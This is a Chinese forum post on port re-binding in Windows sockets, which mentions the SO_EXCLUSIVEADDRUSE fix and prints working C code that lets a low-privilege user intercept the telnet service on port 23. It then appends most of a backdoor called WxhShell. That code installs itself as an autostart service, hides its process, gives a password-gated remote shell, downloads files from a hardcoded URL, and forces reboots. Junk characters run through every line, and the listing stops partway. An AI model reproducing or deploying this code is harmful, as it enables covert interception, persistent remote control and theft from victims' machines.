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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8)!;[G|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wu&Di8GhP  
M<srJ8|'  
  saddr.sin_family = AF_INET; w1_Ux<RF  
K)@}Ok"#\4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WLl9>v^1  
pzr-}>xrZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !~l%6Z5  
w$ {  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 cj#q7  
%$x FnGb  
  这意味着什么?意味着可以进行如下的攻击: y)E2=JQA/  
):@%xoF5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j[`?`RyU  
-*M:OF"Zh  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ECzNByP  
5Z,lWp2A  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -JENY|6  
? $ c  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5U jQLB  
WCu%@hh=h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,GnU]f  
z0[ZO1Fo(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >2 qP  
b]#d04]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !S-U8KI|  
F8Wq&X#r  
  #include 1[`<JCFClc  
  #include c7IR06E  
  #include .A/H+.H;  
  #include    }2,#[m M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6S[D"Q94  
  int main() 3= zQ U  
  { gu[dw3L  
  WORD wVersionRequested; hY 2PV7"[;  
  DWORD ret;  ]:fCyIE  
  WSADATA wsaData; RA I&;"  
  BOOL val; :Qo  
  SOCKADDR_IN saddr; 30E v"  
  SOCKADDR_IN scaddr; ji -1yX  
  int err; 8k^y.B  
  SOCKET s; J6ShIPc  
  SOCKET sc; F:S>\wG,  
  int caddsize; mm-UQ\h  
  HANDLE mt; "\r~,S{:  
  DWORD tid;   MwqT`;lb  
  wVersionRequested = MAKEWORD( 2, 2 ); a[g|APZz  
  err = WSAStartup( wVersionRequested, &wsaData ); /$,=>  
  if ( err != 0 ) { Z<<gz[$+p  
  printf("error!WSAStartup failed!\n"); f {Z%:H  
  return -1; by[i"!RCu  
  } i%4k5[f.:  
  saddr.sin_family = AF_INET; i(iP}: 3  
   ?(8%SPRk  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y?#J`o- O  
; S ` -9}6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (x0*(*A}  
  saddr.sin_port = htons(23); /t)c fFM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~"2@A F  
  { ~!9Px j*  
  printf("error!socket failed!\n"); yGG B  
  return -1; p3FnYz-V  
  } (<ZkmIXN  
  val = TRUE; 1DtMY|wP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T}Vpy`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]=VS~azZ5  
  { ?}v%JUcs  
  printf("error!setsockopt failed!\n"); XuoEAu8]  
  return -1; lV6[d8P  
  } 6oh@$.ThG  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CN~NyJL H  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 PFy;qk  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]~S+nl yd<  
tlLn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )z235}P  
  { {a8^6dm*E  
  ret=GetLastError(); DE\bYxJ  
  printf("error!bind failed!\n"); uE#,c\[8  
  return -1; g)?g7{&?>?  
  } /:{_|P\  
  listen(s,2); ~uR6z//%  
  while(1) <-B"|u  
  { ]Bd3d%  
  caddsize = sizeof(scaddr); |EV\a[  
  //接受连接请求 w1@b5-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s~X*U&}5  
  if(sc!=INVALID_SOCKET) FEZ"\|I|  
  { +VLe'|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); x36#x  
  if(mt==NULL) 9Jy2T/l  
  { ViwpyC'v  
  printf("Thread Creat Failed!\n"); @U3foL2\  
  break; k;_KKvQ  
  } ,o@~OTja*  
  } 27E9NO=  
  CloseHandle(mt); O0wCb  
  } ?t0zsq  
  closesocket(s); tG2OVRx8u  
  WSACleanup(); ' q<EZ {  
  return 0; &M3ES}6  
  }   H]$=*(aje  
  DWORD WINAPI ClientThread(LPVOID lpParam)  +iH30v  
  { _p J_V>l  
  SOCKET ss = (SOCKET)lpParam; ca/o#9:N`:  
  SOCKET sc; =PFR{=F  
  unsigned char buf[4096]; rH&r6Xv[  
  SOCKADDR_IN saddr; s'aV qB  
  long num; q bZ,K@0  
  DWORD val; ?(/j<,m^  
  DWORD ret; EhIV(q9x  
  //如果是隐藏端口应用的话,可以在此处加一些判断 seuN,jpt  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]a6O(]  
  saddr.sin_family = AF_INET; Ly)(_Tp@+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SQt|(r)  
  saddr.sin_port = htons(23); wL-ydMIx  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7}'A)C>J;  
  { od}EM_  
  printf("error!socket failed!\n"); 33<fN:J]f  
  return -1; `!omzE*bk5  
  } ?l, X!o6  
  val = 100; qH h'l;.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q]N?@l]  
  { }>;ht5/i/  
  ret = GetLastError(); wHOlj)CZ  
  return -1; y^!E "  
  } cF_;hD|YZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +-aU+7tu  
  { \7t5U7v8U  
  ret = GetLastError(); 833 %H`jQc  
  return -1; uojh%@.4  
  } wAu[pWD'6;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xv$)u<Ve  
  { \U!@OX.R'M  
  printf("error!socket connect failed!\n"); Ac[|MBaF  
  closesocket(sc); d2A wvP  
  closesocket(ss); I>H;o{X#  
  return -1; )ew[ Ak|  
  } ?{"XrQw  
  while(1) VqD[G<|9T  
  { 7bonOt Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X%a;i6pq  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,yk PQzO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WO.0K5nfk  
  num = recv(ss,buf,4096,0); 3"'# |6O9  
  if(num>0) bvip bf[m<  
  send(sc,buf,num,0); QOT)x4!)  
  else if(num==0) Ns.3s7&  
  break; (}{_]X|e  
  num = recv(sc,buf,4096,0); ;V(H7 ZM  
  if(num>0) ){+[$@9  
  send(ss,buf,num,0); h"u<E\g  
  else if(num==0) 'T)Or,d  
  break; y8w0eq94  
  } msc 1^2  
  closesocket(ss);  's>#8;X  
  closesocket(sc); ,C{^`Bk-W  
  return 0 ; ~JwpNJs  
  } ShWHHU(QQ  
Jt2,LL:G  
?{ B[^  
========================================================== @PPR$4  
7_Ba3+9jpa  
下边附上一个代码,,WXhSHELL (]3ERPn#y  
Hs"% S  
========================================================== NqJ<!q)  
ptV4s=G2  
#include "stdafx.h" _{6,.TN  
~LawF_]6  
#include <stdio.h> I!fB1aq-  
#include <string.h> 8%o~4u3  
#include <windows.h> lo+xo;Nd  
#include <winsock2.h> 0).fBBNG  
#include <winsvc.h> 5Noe/6  
#include <urlmon.h> m<FF$pTT  
${hyNt  
#pragma comment (lib, "Ws2_32.lib") R9tckRG#  
#pragma comment (lib, "urlmon.lib") |H ^w>mk  
N@Xg5huO  
#define MAX_USER   100 // 最大客户端连接数 DeOXM=&z  
#define BUF_SOCK   200 // sock buffer '8 )Wd"[  
#define KEY_BUFF   255 // 输入 buffer xi6 80'  
^Sy^+=wK3  
#define REBOOT     0   // 重启 29"mE;j  
#define SHUTDOWN   1   // 关机 EHpu*P~W  
YXF#c)#  
#define DEF_PORT   5000 // 监听端口 44|deE3Z  
2?GXkPF2;A  
#define REG_LEN     16   // 注册表键长度 8#+`9GI  
#define SVC_LEN     80   // NT服务名长度 wL'oImE  
$brKl8P  
// 从dll定义API 9v~1We;{$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \s=QiPK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bu7A{DRf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X_D6eYF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >9-Dd)<  
zzX<?6MS  
// wxhshell配置信息 \Y*!f|=of  
struct WSCFG { 9c#lLKrzG  
  int ws_port;         // 监听端口 6#<Ir @z  
  char ws_passstr[REG_LEN]; // 口令 c}\ ' x5:o  
  int ws_autoins;       // 安装标记, 1=yes 0=no ! L4dUMo  
  char ws_regname[REG_LEN]; // 注册表键名 Dba+z-3Nzy  
  char ws_svcname[REG_LEN]; // 服务名 H}vn$$ O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8NnhT E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z>6.[Z(T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xM&EL>m>L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1'NhjL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o g_Ri$x8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !q!"UMiG  
%fHH{60  
}; $zdd=.!KiK  
wi>DZkR  
// default Wxhshell configuration Y|mW.  
struct WSCFG wscfg={DEF_PORT, 1{^CfamF  
    "xuhuanlingzhe", [!W5}=^H  
    1, R;WW f.#  
    "Wxhshell", Q-[3j  
    "Wxhshell", 9*' &5F=  
            "WxhShell Service", w{3ycR  
    "Wrsky Windows CmdShell Service", u[)_^kIE(n  
    "Please Input Your Password: ", $nj\\,(g  
  1, !6lOIgn  
  "http://www.wrsky.com/wxhshell.exe", ze&#i6S  
  "Wxhshell.exe" pg+b[7  
    }; '?5S"??  
Qe_+r(3)k  
// 消息定义模块 2zhn`m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^[#=L4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fTBVvY4(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k!&:(]  
char *msg_ws_ext="\n\rExit."; z^'n* h  
char *msg_ws_end="\n\rQuit."; 7m\vRMK  
char *msg_ws_boot="\n\rReboot..."; YUCC*t  
char *msg_ws_poff="\n\rShutdown..."; JRq3>P  
char *msg_ws_down="\n\rSave to "; Q |%-9^  
C ck#Y  
char *msg_ws_err="\n\rErr!"; Y.7}  
char *msg_ws_ok="\n\rOK!"; n[|6khOL-  
Y,'%7u  
char ExeFile[MAX_PATH]; "rsSW 3_  
int nUser = 0; n!ZMTcK8  
HANDLE handles[MAX_USER]; #00D?nC  
int OsIsNt; ^ESUMXb  
cM3jnim  
SERVICE_STATUS       serviceStatus; 0*/kGvw`i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +,z) #  
^+wk  
// 函数声明 "TfI+QgLF  
int Install(void); "mR*7o$|  
int Uninstall(void); +>!V ]S  
int DownloadFile(char *sURL, SOCKET wsh); S nW7x  
int Boot(int flag); J smB^  
void HideProc(void); H;QA@tF>5  
int GetOsVer(void); E:)Cp  
int Wxhshell(SOCKET wsl); LX\)8~dp  
void TalkWithClient(void *cs); BX*69  
int CmdShell(SOCKET sock); zd.'*Dj  
int StartFromService(void); `kFiH*5%z  
int StartWxhshell(LPSTR lpCmdLine); r_^)1w  
"Kq>#I'%W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FI$XSG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g rspt}  
`"c'z;  
// 数据结构和表定义 `;$h'eI9  
SERVICE_TABLE_ENTRY DispatchTable[] =  t!jYu<P  
{ "TNVD"RLY  
{wscfg.ws_svcname, NTServiceMain}, J:AMnUOcDi  
{NULL, NULL} @MOCug4  
}; xz8G}Ku  
NO2(vE  
// 自我安装 Vc _:*  
int Install(void) W qE '(  
{ IB8gDP2  
  char svExeFile[MAX_PATH]; gqfDa cDJL  
  HKEY key; &qKig kLd  
  strcpy(svExeFile,ExeFile); RU|X*3";T  
t+O e)Ns  
// 如果是win9x系统,修改注册表设为自启动 ,:UX<6l R  
if(!OsIsNt) { >I^9:Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b# u8\H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z/g]o#  
  RegCloseKey(key); >?I/;R.-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5$%XvM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :b@igZ<  
  RegCloseKey(key); 0q#"clw  
  return 0; O%&cE*eX  
    } L5f$TLw h;  
  } :RiF3h(  
} JhP\u3 QE  
else { h&`y$Jj  
A?A9`w  
// 如果是NT以上系统,安装为系统服务 <^c3}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lL0M^Nv  
if (schSCManager!=0) Juu+vMn1  
{  R%"K  
  SC_HANDLE schService = CreateService ~8{sA5y  
  ( KP{3iUqvO  
  schSCManager, _{)9b24(  
  wscfg.ws_svcname, s$ z2 c  
  wscfg.ws_svcdisp, Hhl-E:"H`  
  SERVICE_ALL_ACCESS, /8c&Axuv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MA* :<l  
  SERVICE_AUTO_START, R/~,i;d>  
  SERVICE_ERROR_NORMAL, 0%#\w*X8  
  svExeFile, G\kpUdj}  
  NULL, 4MLH+/e  
  NULL, Oaa"T8t  
  NULL, (%'9CfPx  
  NULL, sJU`u'w  
  NULL qybxXK:  
  ); :o8MUXH$  
  if (schService!=0) '!Wvqs  
  { pO]8 dE0  
  CloseServiceHandle(schService); j_GBH8 `  
  CloseServiceHandle(schSCManager); #]Y*0Wzpfn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -[heV|$;  
  strcat(svExeFile,wscfg.ws_svcname); nB] Ia?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { X{Zm9T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1m)M;^_  
  RegCloseKey(key); WU)Ss`s \  
  return 0; Z h'&-c_J  
    } NBOCt)C;H  
  } r4Q|5kT*i  
  CloseServiceHandle(schSCManager); S|AjL Ng#  
} O|'1B>X  
} }r3~rG<D71  
U>Gg0`>  
return 1; b1-&v|L  
} v&;:^jJ8  
D*2\{W/  
// 自我卸载 Gu;OV LR|  
int Uninstall(void) ;;#`#v  
{ #ekM"p  
  HKEY key; ^sClz*%?  
q>s`uFRg(  
if(!OsIsNt) { ,:GN;sIXg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *y]+dK&-  
  RegDeleteValue(key,wscfg.ws_regname); K{=PQ XSU  
  RegCloseKey(key); :L:&t,X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fY W|p<Q0  
  RegDeleteValue(key,wscfg.ws_regname); 4XJiIa?  
  RegCloseKey(key); Gquuy7[&  
  return 0; $NG++N  
  } Mvcfk$pA  
} ar ^i|`D  
} $k%Z$NSN=  
else { :YO@_  
sWqM?2g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cUk*C  
if (schSCManager!=0) \?lz&<  
{ 5v _P Oq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fZ{[]dn[  
  if (schService!=0) |FNCXlgZ  
  { `JURQ:l)3^  
  if(DeleteService(schService)!=0) { Nneo{j  
  CloseServiceHandle(schService); r{K;|'d%h  
  CloseServiceHandle(schSCManager); (f#b7O-Wn  
  return 0; =RsXI&&vh  
  } g0R[xOS|  
  CloseServiceHandle(schService); `u_Qa  
  } [hh/1[   
  CloseServiceHandle(schSCManager); /aqEJGG>  
} +%0z`E\?M#  
} `I;F$`\  
K5 KyG  
return 1; bGmx7qt#  
} zm#nV Y`  
 .\:J~(  
// 从指定url下载文件  $xgBKD  
int DownloadFile(char *sURL, SOCKET wsh) \'v(Xp6  
{ Z-X?JA\&  
  HRESULT hr; {?8B,G2r  
char seps[]= "/"; (z7+|JE.  
char *token; `/IKdO*!S  
char *file; q|(W-h+  
char myURL[MAX_PATH]; kOrl\_!z3  
char myFILE[MAX_PATH]; !0}\&<8/m  
WO*9+\[v  
strcpy(myURL,sURL); LKF/u` 0dP  
  token=strtok(myURL,seps); ^J/)6/TMXm  
  while(token!=NULL) k$i'v:c|:i  
  { =o7}]k7  
    file=token; 4P8*k[.  
  token=strtok(NULL,seps); Jjm|9|C,  
  } K[?Xm"4  
n1v5Q2xw  
GetCurrentDirectory(MAX_PATH,myFILE); N{Qxq>6 G  
strcat(myFILE, "\\"); ,xsH|xW  
strcat(myFILE, file); S4o$t -9l  
  send(wsh,myFILE,strlen(myFILE),0); 9Kv|>#zff  
send(wsh,"...",3,0); b[ w;i]2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !CY&{LEYn0  
  if(hr==S_OK) [iS$JG-  
return 0; -ysn&d\rV  
else [2c{k  
return 1; XNH4vG |  
NL"G2[e  
} )A8v];.]3  
`BXS)xj  
// 系统电源模块 c-4STPNQi  
int Boot(int flag) $'wq1u  
{  %Y nmuZ  
  HANDLE hToken; dA~ 3>f*b_  
  TOKEN_PRIVILEGES tkp; 5K%W a]W  
oF&l-DHp  
  if(OsIsNt) { ,. EBOUW^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gFN 9jM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uaPx"  
    tkp.PrivilegeCount = 1; ^TdZ*($5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~N0 sJ%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V!/:53  
if(flag==REBOOT) { z8_XX$Mnt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1Y j~fb(  
  return 0; gE7L L=x  
} "&+3#D >  
else { 5FeFN)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @'2m$a  
  return 0; o^p  
} FY3IUG  
  } :l\V'=%9'@  
  else { L"+$Wc[|  
if(flag==REBOOT) { 2f:^S/.A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) evuZY X@  
  return 0; BOVPKX  
} 6;b9swmh  
else { XP?rOOn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ssQ BSbx  
  return 0; 2\<.0  
} p s|)cW3`  
} kGYTl,A{  
tln37vq  
return 1; 2tQ`/!m>v$  
} $&I 'o  
oYM3Rgxf9Q  
// win9x进程隐藏模块 hVpCB,  
void HideProc(void) va)%et0!  
{ n~IVNB*  
1 OaXo!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W8WXY_yJt  
  if ( hKernel != NULL ) kAYb!h[`  
  { B 9dt=j3j2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1 jb/o5n;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); tOl e>]  
    FreeLibrary(hKernel); u{H?4|'(  
  } !  NV#U  
*?p|F&J  
return; z_|oCT!6  
} 5z$,6T  
i'/m4 !>h  
// 获取操作系统版本 2h=%K/hhY  
int GetOsVer(void) HfNDD| Zz  
{ `TLzVB-j3  
  OSVERSIONINFO winfo; {tP%epQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B2=\2<  
  GetVersionEx(&winfo); S::=85[>z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \E1U@6a  
  return 1; ,L> ar)B  
  else 7;:#;YS ha  
  return 0; ,T,:-E  
} si4-3eC  
.d<W`%[  
// 客户端句柄模块 S56]?M|[  
int Wxhshell(SOCKET wsl) "\%On >  
{ k"UO c=   
  SOCKET wsh; l:B;zi`)oB  
  struct sockaddr_in client; 1`0#HSO  
  DWORD myID; #s-iy+/1oN  
<=K qc Hb  
  while(nUser<MAX_USER) $D1w5o-  
{ RBKOM$7  
  int nSize=sizeof(client); :*514N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]jMKC8uz  
  if(wsh==INVALID_SOCKET) return 1; dtStTT  
S^I,Iz+`S'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dr<='Ux[5  
if(handles[nUser]==0) k`KGB  
  closesocket(wsh); <!d"E@%v@  
else "8f?h%t  
  nUser++; j V3)2C}  
  } h!@,8y[B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JtKp(k&  
<i?a0  
  return 0; XKOUQc4!R  
} vT^Sk;E  
Sb2v_o  
// 关闭 socket + xv!$gJEj  
void CloseIt(SOCKET wsh) z`Wt%tL(  
{ :fcM:w&  
closesocket(wsh); c,EBF\r8*  
nUser--; \/`?  
ExitThread(0); =JLh?Wx  
} x+5k <Xi}  
SUCU P<G  
// 客户端请求句柄 9Ru;`  
void TalkWithClient(void *cs) uLeRZSC  
{ Nil}js27  
d;[u8t  
  SOCKET wsh=(SOCKET)cs; M5L{*>4|6  
  char pwd[SVC_LEN]; R{Z-m2La  
  char cmd[KEY_BUFF]; kK>Xrj6  
char chr[1]; |iYg >  
int i,j; zSTR^sgJ  
)>\}~s  
  while (nUser < MAX_USER) {  ,*id'=S  
Y qdWctUY  
if(wscfg.ws_passstr) { jjs&`Fy,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G`h+l<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yGBQ0o7E  
  //ZeroMemory(pwd,KEY_BUFF); R@ Y=o].2  
      i=0; ZM#=`k9  
  while(i<SVC_LEN) { _m E^rT  
P@}Pk  
  // 设置超时 0*%&>  
  fd_set FdRead; Et2JxbD  
  struct timeval TimeOut; kTIYD o  
  FD_ZERO(&FdRead); +%>:0mT  
  FD_SET(wsh,&FdRead); n^(A=G  
  TimeOut.tv_sec=8; km5~Gc}  
  TimeOut.tv_usec=0; bKVj[r8D~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %y[1H5)3<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A?!I/|E^;  
7Ey#u4Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j`*N,*ha  
  pwd=chr[0]; r{Rg920  
  if(chr[0]==0xd || chr[0]==0xa) { yTM3^R(  
  pwd=0; {QaNAR=)  
  break; P,pnga3Wu  
  } H!IshZfktn  
  i++; 7k%T<;V  
    } 5A Bhj*7  
fIC9WbiH-  
  // 如果是非法用户,关闭 socket P'Q$d+F,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M(q'%XL^  
} 4EP<tV  
DC+wD Bp;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SS|z*h Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8y';\(;  
v`[Eb27W.  
while(1) { N^0uit  
34|a\b}  
  ZeroMemory(cmd,KEY_BUFF); T$4P_*  
 4-Z()F  
      // 自动支持客户端 telnet标准   ;$j7H&UNQj  
  j=0; #C*8X+._y  
  while(j<KEY_BUFF) { ?kw&=T !  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {04"LAE  
  cmd[j]=chr[0]; ygZ  #y L  
  if(chr[0]==0xa || chr[0]==0xd) { eL D?jTi'  
  cmd[j]=0; X<OSN&d  
  break; j5$BK[p.  
  } *!e(A ]&  
  j++; <-Bx&Q  
    } &<'n^n  
a?5[k}\  
  // 下载文件 Z(0@1l`Z-`  
  if(strstr(cmd,"http://")) { .y5,x\Pq(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ._:nw=Y0<}  
  if(DownloadFile(cmd,wsh)) g&/p*c_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f3*?MXxb16  
  else K!AAGj`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /(C~~XP)  
  } 7sNw  
  else { d^ ZMS~\*  
^}yg%+  
    switch(cmd[0]) { g|<Sfp+;+  
  ra '  
  // 帮助 ,hxkk`  
  case '?': { \[2lvft!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $gle8Z-  
    break; n_D8JF  
  } VzS&`d.h  
  // 安装  @gGRm  
  case 'i': { 6~meM@  
    if(Install()) DrW#v-d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [|`U6 8}u  
    else -_VG;$,jE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }f>H\iJe  
    break; + bhym+  
    } vdoZ&Tu  
  // 卸载 @MR?6n*k  
  case 'r': { !hxIlVd{  
    if(Uninstall()) X*oMFQgP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *DI)?  
    else v`q\6i[-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ma-\^S=  
    break; $.St ej1  
    } eDO!^.<5  
  // 显示 wxhshell 所在路径 eEc4bVQa  
  case 'p': { 1[nG}  
    char svExeFile[MAX_PATH]; ]Al;l*yw  
    strcpy(svExeFile,"\n\r"); 6"j_iB  
      strcat(svExeFile,ExeFile); {.e=qQ%P5)  
        send(wsh,svExeFile,strlen(svExeFile),0); :q##fG 'm/  
    break; Pj#'}ru!  
    } Zc& &[g  
  // 重启 Q'B6^%:<~  
  case 'b': { ?@6b>='!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q(^Q3  
    if(Boot(REBOOT)) ]Z<_ " F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c/W=$3  
    else { RWq{Ff}Hk  
    closesocket(wsh); /G{_7cb  
    ExitThread(0); JwnAW}=  
    } f6<g3Q7Mu  
    break; U4?(A@z9^  
    } t-%Q`V=[  
  // 关机 /Wk9-uH  
  case 'd': { 9|' B9C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }71LLzG`/  
